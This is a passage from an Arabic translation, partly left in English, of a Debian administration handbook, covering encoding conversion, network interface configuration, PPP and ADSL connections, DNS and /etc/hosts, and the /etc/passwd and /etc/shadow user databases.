هذه حلول الحالات ”البسيطة“. تظهر هذه الحالات فقط في اللغات الغربية، لأن ترميز Unicode (و UTF-8) مصمم لزيادة النقاط المشتركة بينه وبين الترميزات السابقة المستخدمة مع اللغات الغربية التي تعتمد على الأبجدية اللاتينية، وهذا يسمح بالتعرف على أجزاء من النص حتى لو فقد بعض المحارف.

في الحالات الأعقد، التي تشمل بيئتين تستخدمان لغتين مختلفتين لا تستخدمان الأبجدية نفسها على سبيل المثال، ستحصل غالباً على نتائج غير مقروءة أبداً — بل سلسلة من الرموز الغريبة التي لا علاقة لها ببعضها. هذه الحالة شائعة جداً في اللغات الآسيوية بسبب اختلاف اللغات وأنظمة الكتابة العديدة. لقد اختيرت الكلمة اليابانية mojibake (موجي-بايك) لوصف هذه الظاهرة. عندما تظهر هذه الحالة فالتشخيص أعقد، وأبسط حل عادة هجرة الطرفين إلى UTF-8.

بالنسبة لأسماء الملفات، فالهجرة سهلة نسبياً. أنشئت الأداة convmv (في الحزمة ذات الاسم نفسه) خصيصاً لهذا الغرض؛ فهي تسمح بإعادة تسمية الملفات من ترميز معين إلى ترميز آخر. استخدام هذه الأداة بسيط نسبياً، لكننا ننصح باستخدامها في مرحلتين لتفادي المفاجآت. يُبيّن المثال التالي بيئة UTF-8 تحوي مجلدات أسماؤها مشفرة بالترميز ISO-8859-15، وطريقة استخدام convmv لإعادة تسميتها.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

أما بالنسبة لمحتويات الملفات، فعمليات التحويل أعقد نتيجة التنوع الكبير في صيغ الملفات الموجودة. تتضمن بعض صيغ الملفات معلومات ترميز تُسهّل مهمة البرمجيات التي ستعالجها؛ في تلك الحالة، يكفي فتح هذه الملفات وإعادة حفظها بعد اختيار الترميز UTF-8. في حالات أخرى، عليك تحديد الترميز الأصلي (ISO-8859-1 أو ”Western“، أو ISO-8859-15 أو ”Western (Euro)‎“، حسب الصيغة. بالنسبة للعربية فالغالب أن الترميز الأصلي هو cp-1256 أو ”Arabic Windows“ للملفات المنشأة على ويندوز، وهناك ترميز ISO 8859-6 أو ”Arabic ISO“ لكنه أقل استخداماً) عند فتح الملف.

بالنسبة للملفات النصية، يمكنك استخدام recode (في الحزمة ذات الاسم نفسه) الذي يسمح بتغيير الترميز آلياً. لهذه الأدوات خيارات عديدة تسمح لك بتعديل سلوكه. ننصحك بالاطلاع على وثائقه، في صفحة الدليل recode(1)‎، أو صفحة المعلومات recode‎ (أكثر اكتمالاً).

8.2. ضبط الشبكة

أساسيات مفاهيم الشبكات الأساسية (إيثرنت، عنوان IP، الشبكة الفرعية، البث)

Most modern local networks use the Ethernet protocol, where data is split into small blocks called frames and transmitted on the wire one frame at a time. Data speeds vary from 10 Mb/s for older Ethernet cards to 100 Gb/s in the newest cards (with the most common rate currently growing from 100 Mb/s to 10 Gb/s). The most widely used cables are called 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T and 40GBASE-T, depending on the throughput they can reliably provide (the T stands for “twisted pair”); those cables end in an RJ45 connector. There are other cable types, used mostly for speeds of 10 Gb/s and above.

عنوان IP هو رقم يستخدم لتعريف الواجهة الشبكية الخاصة بالحاسوب على الشبكة المحلية أو الإنترنت. في النسخة الأكثر انتشاراً اليوم من بروتوكول الإنترنت (IPv4)، يتألف هذا الرقم من 32 بت، وغالباً ما يُمثَّل بشكل 4 أعداد تفصلها نقط (مثلاً 192.168.0.1)، تتراوح قيمة كل عدد بين 0 و255 (التي توافق 8 بتات من البيانات). أما النسخة التالية من البروتوكول، IPv6، فهي توسع فضاء العنونة هذا إلى 128 بت، وتُمثَّل العناوين عموماً كسلسلة من الأرقام الست عشرية تفصل عن بعضها بنقطتين فوق بعضهما (مثلاً 2001:0db8:13bb:0002:0000:0000:0000:0020 أو ‎2001:db8:13bb:2::20 اختصاراً).

قناع الشبكة الفرعية (subnet mask، أو قناع الشبكة netmask) يحدد الجزء من عنوان IP الذي يوافق عنوان الشبكة باستخدام شفرة ثنائية، والجزء الباقي يحدد عنوان الجهاز. في حال إعداد عنوان IPv4 السابق كعنوان ستاتيكي للجهاز، سيكون قناع الشبكة الفرعية 255.255.255.0 (24 واحد ”1“ تتبعهم ثمانية أصفار ”0“ في الترميز الثنائي)، وهو يشير إلى أن 24 بت الأولى من عنوان IP مخصصة لعنوان الشبكة، بينما البتات الثمانية الأخيرة خاصة بالجهاز. في IPv6 يذكر عدد الوحدان فقط للوضوح؛ مثلاً قناع الشبكة لإحدى شبكات IPv6 قد يكون 64.

عنوان الشبكة هو عنوان IP يكون فيه الجزء الذي يحدد رقم الجهاز أصفار. غالباً يحدد مجال عناوين IPv4 في شبكة كاملة بالصيغة a.b.c.d/e، حيث a.b.c.d هو عنوان الشبكة و a.b.c.d هو عدد البتات المخصصة لجزء الشبكة من عنوان IP. بالتالي تُكتَب الشبكة من المثال السابق بالشكل: 192.168.0.0/24. الصيغة في IPv6 مشابهة: 2001:db8:13bb:2::/64.

الموجّه (router) هو جهاز يصل بين عدة شبكات. يُرسِل الموجّه كل الرزم التي تمر عبره إلى وجهتها الصحيحة. لتحقيق ذلك، يحلل الموجّه الرزم الواردة ويعيد توجيهها حسب عنوان IP الذي تتجه إليه. غالباً ما يدعى الموجّه بالبوابة؛ في تلك الحالة، يعمل الموجّه كجهاز يساعد على الوصول إلى خارج الشبكة المحلية (نحو شبكة موسّعة، مثل الإنترنت).

عنوان البث (broadcast) هو عنوان خاص يصل بين جميع المحطات في الشبكة. هذا العنوان لا ”يوجّه“ أبداً تقريباً، بل يعمل ضمن نطاق الشبكة الحالية. تحديداً، هذا يعني أن رزمة البيانات التي تحمل عنوان البث كعنوان وجهة لا تمر أبداً عبر الموجّه.

يركّز هذا الفصل على عناوين IPv4، لأنها حالياً الأكثر استخداماً. أما تفصيلات بروتوكول IPv6 فقد طرقناها في قسم 10.6, “‏IPv6”، لكن المفاهيم تبقى نفسها.

The network is automatically configured during the initial installation. If Network Manager gets installed (which is generally the case for full desktop installations), then it might be that no configuration is actually required (for example, if you rely on DHCP on a wired connection and have no specific requirements). If a configuration is required (for example, for a WiFi interface), then it will create the appropriate file in /etc/NetworkManager/system-connections/.

NOTE NetworkManager

If Network Manager is particularly recommended in roaming setups (see قسم 8.2.5, “إعداد الشبكة الآلي للمستخدمين الرُّحَّل”), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.14/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections.

8.2.1. واجهة إيثرنت

إذا كان للحاسوب بطاقة إيثرنت، يجب إعداد شبكة IP المتصلة بها بإحدى طريقتين. الطريقة الأبسط هي الإعداد الديناميكي باستخدام DHCP، وهي تحتاج مخدم DHCP في الشبكة المحلية. يمكن في هذه الطريقة تحديد اسم المضيف المرغوب، وذلك حسب خيار hostname في المثال أدناه. بعدها يرسل مخدم DHCP الإعدادات المناسبة لضبط الشبكة.

مثال 8.1. إعدادات DHCP

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

IN PRACTICE Names of network interfaces

By default, the kernel attributes generic names such a eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6).

Obviously, you are free to override this policy and/or to complement it to customize the names of some specific interfaces. You can find out the names of the network interfaces in the output of ip addr (or as filenames in /sys/class/net/).

In some corner cases it might be necessary to disable the consistent naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 and biosdevname=0 kernel parameters to achieve that.

أما الإعداد ”الستاتيكي“ فيجب أن يُحدّد إعدادات الشبكة بشكل ثابت. يجب أن تتضمن الإعدادات عنوان IP وقناع الشبكة الفرعية على الأقل؛ كما يذكر أحياناً عنوان الشبكة وعنوان البث أيضاً. أما الموجّه الذي يستخدم للاتصال بالعالم الخارجي فيذكر على أنه بوابة.

مثال 8.2. إعدادات ستاتيكية

auto enp0s31f6 iface enp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

ملاحظة تعدد العناوين

لا يمكن ربط عدة واجهات مع بطاقة شبكة فيزيائية واحدة وحسب، بل يمكن أيضاً ربط عدة عناوين IP مع واجهة واحدة. تذكر أيضاً أن عنوان IP قد يوافق أي عدد من أسماء DNS، وأن الاسم قد يرافق أيضاً أي عدد من عناوين IP.

كما ترى، يمكن أن تتعقد الإعدادات نوعاً ما، لكن هذه الخيارات لا تستخدم إلا في حالات خاصة جداً. الأمثلة المذكورة هنا هي نموذج عن الحالات الاعتيادية.

8.2.2. Wireless Interface

Getting wireless network cards to work can be a bit more challenging. First of all, they often require the installation of proprietary firmwares which are not installed by default in Debian. Then wireless networks rely on cryptography to restrict access to authorized users only, this implies storing some secret key in the network configuration. Let's tackle those topics one by one.

8.2.2.1. Installing the required firmwares

First you have to enable the non-free repository in APT's sources.list file: see قسم 6.1, “تعبئة الملف sources.list” for details about this file. Many firmware are proprietary and are thus located in this repository. You can try to skip this step if you want, but if the next step doesn't find the required firmware, retry after having enabled the non-free section.

Then you have to install the appropriate firmware-* packages. If you don't know which package you need, you can install the isenkram package and run its isenkram-autoinstall-firmware command. The packages are often named after the hardware manufacturer or the corresponding kernel module: firmware-iwlwifi for Intel wireless cards, firmware-atheros for Qualcomm Atheros, firmware-ralink for Ralink, etc. A reboot is then recommended because the kernel driver usually looks for the firmware files when it is first loaded and no longer afterwards.

8.2.2.2. Wireless specific entries in /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of the wpasupplicant package which provides the required integration between ifupdown and the wpa_supplicant command used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry in /etc/network/interfaces needs to be extended with two supplementary parameters to specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

مثال 8.3. DHCP configuration for a wireless interface

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

The wpa-psk parameter can contain either the plain text passphrase or its hashed version generated with wpa_passphrase SSID passphrase. If you use an unencrypted wireless connection, then you should put a wpa-key-mgmt NONE and no wpa-psk entry. For more information about the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.Debian.gz.

At this point, you should consider restricting the read permissions on /etc/network/interfaces to the root user only since the file contains a private key that not all users should have access to.

HISTORY WEP encryption

Usage of the deprecated WEP encryption protocol is possible with the wireless-tools package. See /usr/share/doc/wireless-tools/README.Debian for instructions.

8.2.3. الاتصال عبر PPP باستخدام مودم PSTN

ينشئ اتصال PPP (نقطة إلى نقطة، point to point) اتصالاً متقطّعاً؛ هذا هو الحل الأكثر انتشاراً للاتصالات التي تجرى باستخدام المودم الهاتفي (”مودم PSTN“، بما أن الاتصال يمر عبر شبكة الهاتف العامة public switched telephone network).

يحتاج الاتصال عبر المودم الهاتفي إلى حساب عند مزود الخدمة، يتضمن رقم الاتصال الهاتفي، واسم المستخدم، وكلمة السر، وأحياناً بروتوكول المصادقة المستخدم. تعد هذه الاتصالات باستخدام الأداة pppconfig في حزمة الدبيانية ذات الاسم نفسه. افتراضياً، تُعدُّ هذه الأداة اتصالاً بالاسم provider (مزود الخدمة). إذا لم تكن متأكداً من بروتوكول المصادقة المعتمد، اختر PAP: فأغلب مزودات الخدمة توفره.

بعد إتمام عملية الإعداد، يمكن بدء الاتصال بالأمر pon (مع إعطائه اسم الاتصال كبارامتر، إذا لم تكن قيمة provider الافتراضية مناسبة). يقطع الأمر poff الاتصال. يستطيع المستخدم الجذر تنفيذ هذين الأمرين، أو أي مستخدم آخر شريطة أن ينتمي إلى المجموعة dip.

8.2.4. الاتصال عبر مودم ADSL

يغطي المصطلح العام ”مودم ADSL“ أعداداً كبيرة من الأجهزة التي تختلف كثيراً بوظائفها. أبسط المودمات استخداماً في لينكس هي تلك التي توفر مخرج إيثرنت (وليس واجهة USB فقط). هذا النوع شائع؛ معظم مزودات خدمة ADSL تعير (أو تؤجر) ”صندوقاً“ له واجهة إيثرنت بالإضافة (أو بدلاً من) واجهات USB. قد تختلف طريقة الإعداد المطلوبة كثيراً حسب نوع المودم.

8.2.4.1. المودمات التي تدعم PPPoE

تعمل بعض مودمات إيثرنت باستخدام بروتوكول PPPoE‏ (Point to Point Protocol over Ethernet). تُستخدَم الأداة pppoeconf (من الحزمة ذات الاسم نفسه) لإعداد هذا النوع من الاتصالات. ما تفعله هذه الأداة هو تعديل الملف /etc/ppp/peers/dsl-provider وفقاً للإعدادات المعطاة وتسجّل معلومات تسجيل الدخول في الملفين /etc/ppp/pap-secrets و /etc/ppp/chap-secrets. من المفضل قبول جميع التعديلات التي تقترحها عليك هذه الأداة.

بعد إتمام هذا الإعداد، يمكنك فتح اتصال ADSL باستخدام الأمر pon dsl-provider، وقطعه باستخدام poff dsl-provider.

تلميح بدء اتصالات ppp عند الإقلاع

اتصالات ADSL عبر بروتوكول PPP متقطّعة حسب تعريفها. بما أن فواتير هذه الاتصالات لا تحسب عادة حسب الوقت، فلا توجد عوائق كبيرة تمنع تركها مفتوحة دوماً. الطريقة المعيارية لتحقيق هذا الأمر هي استخدام نظام الإقلاع (init system).

With systemd, adding an automatically restarting task for the ADSL connection is a simple matter of creating a “unit file” such as /etc/systemd/system/adsl-connection.service, with contents such as the following:

[Unit] Description=ADSL connection [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

بعد تعريف ملف الوحدة هذا، يجب تفعيله عبر الأمر systemctl enable adsl-connection. يمكن عندئذ بدء الاتصال يدوياً باستخدام systemctl start adsl-connection؛ كما سيبدأ تلقائياً عند كل إقلاع.

يعمل نظام الإقلاع SystemV بطريقة مختلفة على الأنظمة التي لا تستخدم systemd (بما فيها ويزي والنسخ الأقدم من دبيان). كل ما تحتاجه على تلك الأنظمة هو إضافة سطر كالتالي إلى نهاية الملف /etc/inittab؛ بعدها ستعيد init إنشاء الاتصال كلما انقطع.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

هذه الطريقة تقلل من فترة الانقطاع إذا كان اتصال ADSL من الاتصالات التي تنقطع تلقائياً كل يوم.

8.2.4.2. المودمات التي تدعم PPTP

أنشأت Microsoft برتوكول PPTP‏ (Point-to-Point Tunneling Protocol). لقد استخدم هذا البروتوكول في بدايات عهد ADSL، ثم استبدل سريعاً ببروتوكول PPPoE. إذا فُرضَ عليك هذا البروتوكول، انظر قسم 10.3.4, “‏PPTP”.

8.2.4.3. المودمات التي تدعم DHCP

عند وصل المودم بالحاسوب باستخدام كبل إيثرنت (كبل متصالب crossover)، فالغالب أن اتصال الشبكة على الحاسوب سوف يُعدُّ باستخدام DHCP نموذجياً؛ وسيعمل المودم آلياً كبوابة في الحالة الافتراضية ويتولى مهمة التوجيه (أي إدارة حركة بيانات الشبكة بين الحاسوب والإنترنت).

أساسيات الكبال المتصالبة لوصلات إيثرنت المباشرة

تتوقع بطاقات الشبكة في الحواسيب استقبال البيانات على أسلاك محددة من الكبل، وإرسال البيانات على أسلاك أخرى. عند وصل الحاسوب بالشبكة المحلية، يُستخدَم عادة كبل (متصالب أو مباشر) يصل بين بطاقة الشبكة ومكرر الإشارة أو التحويلة. لكن إذا أردت توصيل حاسوبين مباشرة (دون تحويلة وسيطة أو مكرر إشارة)، عليك توجيه الإشارات التي ترسلها البطاقة الأولى إلى طرف الاستقبال في البطاقة الثانية، والعكس بالعكس. هذا هو الهدف الذي يدعو لاستخدام الكبال المتصالبة.

Note that this distinction has become almost irrelevant over time, as modern network cards are able to detect the type of cable present and adapt accordingly, so it won't be unusual that both kinds of cable will work in a given location.

تعمل معظم ”راوترات ADSL“ في السوق ومعظم مودمات ADSL التي تقدمها مزودات خدمة الإنترنت بهذا الشكل.

8.2.5. إعداد الشبكة الآلي للمستخدمين الرُّحَّل

يملك معظم المهندسون في شركة فلكوت حاسوباً محمولاً يستخدمونه في البيت أيضاً للعمل. تختلف إعدادات الشبكة المستخدمة حسب المكان. في البيت، قد تكون الشبكة لاسلكية (محمية بمفتاح WPA)، بينما تستخدم شبكة سلكية في العمل لزيادة الأمان ومعدل نقل البيانات.

لتفادي وصل أو فصل الواجهات الشبكية المناسبة يدوياً، عمد مديرو النظم لتثبيت حزمة network-manager على الأجهزة النقالة. يسمح هذا البرنامج للمستخدم بالتبديل بسهولة بين الشبكات باستخدام أيقونة صغيرة تظهر في منطقة التنبيهات في سطح المكتب الرسومي. تظهر قائمة بالشبكات المتاحة (سلكية ولاسلكية) عند النقر على هذه الأيقونة، بحيث يستطيع المستخدم تحديد الشبكة التي يريد استخدامها ببساطة. يحفظ البرنامج إعدادات الشبكات التي اتصل بها المستخدم سابقاً، ويبدل آلياً إلى أفضل شبكة متاحة عند انقطاع الاتصال الحالي.

لتنفيذ ذلك، قسمت بنية البرنامج إلى جزئين: خدمة تعمل بصلاحيات الجذر تعالج تفعيل وإعداد الواجهات الشبكية، وواجهة مستخدم تتحكم بهذه الخدمة. تتحكم PolicyKit بعمليات المصادقة اللازمة للتحكم بهذا البرنامج، وفي دبيان أُعدِّت PolicyKit بحيث يستطيع أعضاء المجموعة netdev إضافة أو تغيير اتصالات Network Manager.

Network Manager knows how to handle various types of connections (DHCP, manual configuration, local network), but only if the configuration is set with the program itself. This is why it will systematically ignore all network interfaces in /etc/network/interfaces and /etc/network/interfaces.d/ for which it is not suited. Since Network Manager doesn't give details when no network connections are shown, the easy way is to delete from /etc/network/interfaces any configuration for all interfaces that must be managed by Network Manager.

لاحظ أن هذا البرنامج يُثبَّت تلقائياً عند اختيار المهمة ”Desktop Environment“ أثناء التثبيت الأولي.

8.3. ضبط اسم المضيف وإعداد خدمة الأسماء

الهدف من وضع أسماء ترتبط بعناوين IP هو تسهيل حفظها على الناس. في الواقع، يُعرِّف عنوان IP واجهة شبكية ترتبط مع قطعة عتاد مثل بطاقة شبكة. بما أن أي جهاز يستطيع أن يحوي عدة بطاقات شبكة، وعدة واجهات ترتبط مع كل بطاقة، فيمكن أن يرتبط الحاسوب الواحد بعدة أسماء في نظام أسماء النطاقات.

لكن لكل جهاز اسم تعريف رئيسي (أو ”أصلي canonical“)، يُخزَّن في الملف /etc/hostname ويمرر إلى النواة لينكس بوساطة سكربتات التهيئة عبر الأمر hostname. القيمة الحالية متوفرة في نظام ملفات ظاهري، ويمكنك الحصول عليها بالأمر cat /proc/sys/kernel/hostname.

أساسيات /proc/ و /sys/، نظم ملفات ظاهرية

تنشأ شجرتا الملفات /proc/ و /sys/ من نظامي ملفات ”ظاهريين“. هذه وسيلة عملية لاسترداد المعلومات من النواة (عبر سرد الملفات الظاهرية) أو نقلها إليها (بالكتابة في الملفات الظاهرية).

/sys/ in particular is designed to provide access to internal kernel objects, especially those representing the various devices in the system. The kernel can, thus, share various pieces of information: the status of each device (for example, if it is in energy saving mode), whether it is a removable device, etc. Note that /sys/ has only existed since kernel version 2.6. /proc/ describes the current state of the kernel: the files in this directory contain information about the processes running on the system and its hardware.

ما يثير الدهشة هو أن إدارة اسم النطاق لا تتم بالطريقة نفسها، بل يُشتَق من الاسم الكامل للجهاز، الذي يحصل عليه بعملية استبيان الأسماء (name resolustion). يمكنك تغييره في الملف /etc/hosts؛ فقط اكتب اسماً كاملاً للجهاز هناك في بداية قائمة الأسماء المرتبطة بعنوان الجهاز، كما في المثال التالي:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. استبيان الأسماء

آلية استبيان الأسماء (name resolution) في لينكس تجزيئية ويمكن استخدام مصادر متنوعة للمعلومات مبيّنة في الملف /etc/nsswitch.conf. المدخلة التي تتعلق باستبيان اسم المضيف هي hosts. افتراضياً، تحوي المدخلة files dns، وهذا يعني أن النظام سوف يستشير الملف /etc/hosts أولاً، وبعدها مخدم DNS. مخدمات NIS/NIS+‎ أو LDAP هي مصادر أخرى محتملة.

ملاحظة NSS و DNS

انتبه إلى أن الأوامر المصممة خصيصاً لاستشارة DNS (خصوصاً host) لا تعتمد على آلية استبيان الأسماء القياسية (NSS). نتيجة لذلك، لن تأخذ هذه الأوامر /etc/nsswitch.conf بعين الاعتبار، وبالتالي لن تنظر إلى /etc/hosts أيضاً.

8.3.1.1. ضبط مخدمات DNS

DNS‏ (Domain Name Service) هي خدمة موزعة وهرمية تقابل الأسماء بعناوين IP، والعكس صحيح. بالأخص، تستطيع هذه الخدمة قلب الأسماء الأليفة للناس مثل www.eyrolles.com إلى عنوان IP الفعلي، مثل 213.244.11.247.

للوصول إلى معلومات DNS، يجب توفر مخدم DNS لترحيل الطلبات. تملك شركة فلكوت مخدم DNS خاص، لكن المستخدمين الأفراد يستخدمون غالباً مخدمات DNS التي يوفرها ISP التابعين له.

تبيّن مخدمات DNS التي ستستخدم في /etc/resolv.conf، مخدم واحد في كل سطر، مع استخدام الكلمة المفتاحية nameserver قبل وضع عنوان IP، كما في المثال التالي:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

لاحظ أنه يمكن إدارة محتويات الملف /etc/resolv.conf (والكتابة فوقها) آلياً إذا كان NetworkManager يدير الشبكة أو كانت الشبكة تأخذ إعداداتها عبر DHCP.

8.3.1.2. الملف /etc/hosts

If there is no name server on the local network, it is still possible to establish a small table mapping IP addresses and machine hostnames in the /etc/hosts file, usually reserved for local network stations. The syntax of this file as described in hosts(5) is very simple: each line indicates a specific IP address followed by the list of any associated names (the first being “completely qualified”, meaning it includes the domain name).

هذا الملف متوفر حتى لو أثناء انقطاعات الشبكة أو عدم إمكانية الوصول لمخدمات DNS، لكنه لا يفيد حقاً إلا إذا نسخته إلى جميع الأجهزة على الشبكة. أي تغيير بسيط في التقابلات سيتطلب تحديث الملف في جميع الأماكن. لذلك يقتصر الملف /etc/hosts عموماً على أهم المدخلات فقط.

استخدام هذا الملف كاف بالنسبة للشبكات الصغيرة التي لا تتصل بالإنترنت، لكن إذا تجاوز عدد الأجهزة الأربعة، فالأفضل تثبيت مخدم DNS نظامي.

تلميح تجاوز DNS

بما أن التطبيقات تتحقق من الملف /etc/hosts قبل استشارة DNS، فيمكن إضافة معلومات إلى ذلك الملف تختلف عما يرد به مخدم DNS، وبالتالي تجاوز استبيان الأسماء الطبيعي الذي يعتمد على DNS.

هذا يسمح باختبار الوصول لموقع ما باستخدام الاسم المطلوب حتى لو لم يكن هذا الاسم يقابل عنوان IP الصحيح، نتيجة عدم انتشار تغييرات DNS بعد.

من الاستخدامات الأخرى الممكنة إعادة توجيه حركة الشبكة المتجهة إلى مضيف معين إلى المضيف المحلي (localhost)، وبالتالي قطع إمكانية التواصل مع ذلك المضيف. مثلاً، يمكن تحويل أسماء مضيفات المخدمات المخصصة لنشر الإعلانات بهذه الطريقة، وهذا يجعل التصفح أسرع وأقل تشتيتاً بسبب عدم إمكانية تحميل هذه الإعلانات.

8.4. قواعد بيانات المستخدمين والمجموعات

The list of users is usually stored in the /etc/passwd file, while the /etc/shadow file stores hashed passwords. Both are text files, in a relatively simple format, which can be read and modified with a text editor. Each user is listed there on a line with several fields separated with a colon (“:”).

ملاحظة تحرير ملفات النظام

ملفات النظام المذكورة في هذا الفصل كلها ملفات نصية، ويمكن تحريرها باستخدام مجرر نصوص. نظراً لأهميتها لعمل الظائف الأساسية في النظام، يجب أخذ احتياطات إضافية عند تحريرها. أولاً، يجب دائماً نسخ ملفات النظام أو أخذ نسخة احتياطية قبل فتحه و تعديله. ثانياً، يجب اتخاذ خطوات إضافية لمنع تضرر الملفات على المخدمات أو الأجهزة التي يحتمل أن يدخل أكثر من شخص على الملف نفسه في الوقت نفسه.

في تلك الحالة، يكفي استخدام الأمر vipw لتحرير الملف /etc/passwd، أو vigr لتحرير /etc/group. تقفل هذه الأوامر الملفات المذكورة قبل فتح محرر النصوص، (vi افتراضياً، إلا إذا تعدّل متغير البيئة EDITOR). يسمح الخيار -s في هذه الأوامر بتحرير ملف shadow الموافق.

أساسيات Crypt، تابع أحادي الاتجاه

crypt هو تابع أحادي الاتجاه يحوّل سلسلة نصية (A) إلى سلسلة أخرى (B) بحيث لا يمكن اشتقاق A من B. الطريقة الوحيدة للتعرف على A هي اختبار جميع القيم المحتملة، ومقارنة ناتج تحويل كل قيمة باستخدام التابع نفسه لمعرفة هل يساوي B أم لا. يقبل التابع دخلاً يصل إلى 8 محارف (السلسلة A) ويولّد سلسلة من 13 محرف ASCII قابل للطباعة (السلسلة B).

8.4.1. قائمة المستخدمين: /etc/passwd

يحوي الملف /etc/passwd الحقول التالية:

اسم تسجيل الدخول، مثلاً rhertzog؛

كلمة السر: كلمة السر مشفّرة بتابع أحادي الاتجاه (crypt)، يعتمد على DES، أو MD5، أو SHA-256 أو SHA-512. تشير القيمة الخاصة ”x“ إلى أن الكلمة المشفرة مخزّنة في الملف /etc/shadow؛

uid: رقم تعريف فريد للمستخدم (user id)؛

gid: رقم التعريف الفريد لمجموعة المستخدم الرئيسة (تنشئ دبيان مجموعة خاصة لكل مستخدم افتراضياً)؛

GECOS: حقل بيانات يحوي اسم المستخدم الكامل عادة؛

مجلد تسجيل الدخول، وهو يُعطى للمستخدم لتخزين ملفاته الشخصية (يشير متغير البيئة $HOME إلى هذا المجلد عموماً)؛

البرنامج الذي سيُنفَّذ عند تسجيل الدخول. يكون هذا عادة مفسّر أوامر (صَدَفة)، يطلق للمستخدم العنان. إذا وضعت /bin/false هنا (الذي لا يفعل شيئاً ويعيد التحكم مباشرة)، فلن يتمكن المستخدم من الدخول.

أساسيات مجموعات يونكس

مجموعة اليونكس هي كيان يتضمن عدة مستخدمين حتى يتمكنون من تشارك الملفات بسهولة عبر نظام الصلاحيات التقليدي (بالاستفادة من امتلاك الصلاحيات نفسها). يمكنك أيضاً حصر استخدام برامج معينة بمستخدمي مجموعة محددة.

8.4.2. ملف كلمات السر المشفّر والمخفي: /etc/shadow

يحوي ملف /etc/shadow الحقول التالية:

اسم تسجيل الدخول؛

كلمة السر المشفرة؛

عدة حقول تتحكم بانتهاء صلاحية كلمة السر.

أمن أمان الملف /etc/shadow

/etc/shadow, unlike its alter-ego, /etc/passwd, cannot be read by regular users. Any hashed password stored in /etc/passwd is readable by anybody; a cracker could try to “break” (or reveal) a password by one of several “brute force” methods which, simply put, guess at commonly used combinations of characters. This attack — called a "dictionary attack" — is no longer possible on systems using /etc/shadow.

توثيق صيغ الملفات /etc/passwd و /etc/shadow و /etc/group

صيغ هذه الملفات موثّقة في صفحات الدليل التالية: passwd(5)‎ و shadow(5) ‎ و group(5)‎.

8.4.3. تعديل حساب سابق أو كلمة السر

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file; chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

أخيراً، يسمح الأمر chage‏ (CHange AGE) لمدير النظام بتغيير إعدادات انتهاء صلاحية كلمة السر (يعرض الخيار -l user الوضع الحالي). يمكنك أيضاً فرض انتهاء صلاحية كلمة سر أحد المستخدمين بالأمر passwd -e user، الذي سيفرض على المستخدم تغيير كلمة سره في المرة التالية التي يسجل فيها دخوله.

8.4.4. تعطيل حساب

قد تحتاج أحياناً ”لتعطيل حساب“ (منع المستخدم من الدخول)، كإجراء تأديبي، أو للتحقيق، أو ببساطة في حال غياب المستخدم لفترة طويلة أو غيابه نهائياً. تعطيل الحساب يعني منع المستخدم من تسجيل الدخول أو الوصول إلى الجهاز. يبقى الحساب على الجهاز كما هو ولا تحذف أي ملفات أو بيانات؛ لكن ببساطة لا يمكن الوصول إليها. يتم هذا باستخدام الأمر passwd -l user (للقفل lock). أما إعادة تفعيل الحساب فتتم بطريقة مشابهة، عبر استخدام الخيار -u (فك القفل unlock).

التعمق أكثر NSS وقواعد بيانات النظام

بدلاً من استخدام الملفات العادية لإدارة قوائم المستخدمين والمجموعات، يمكنك استخدام أنواع أخرى من قواعد البيانات، مثل LDAP أو db، وذلك عن طريق استخدام وحدة NSS‏ (Name Service Switch) المناسبة. تحدد الوحدات المستخدمة في الملف /etc/nsswitch.conf، في المدخلات passwd و shadow و group. انظر قسم 11.7.3.1, “إعداد NSS” لمثال خاص عن استخدام LDAP لوحدة NSS.

8.4.5. قائمة المجموعات: /etc/group

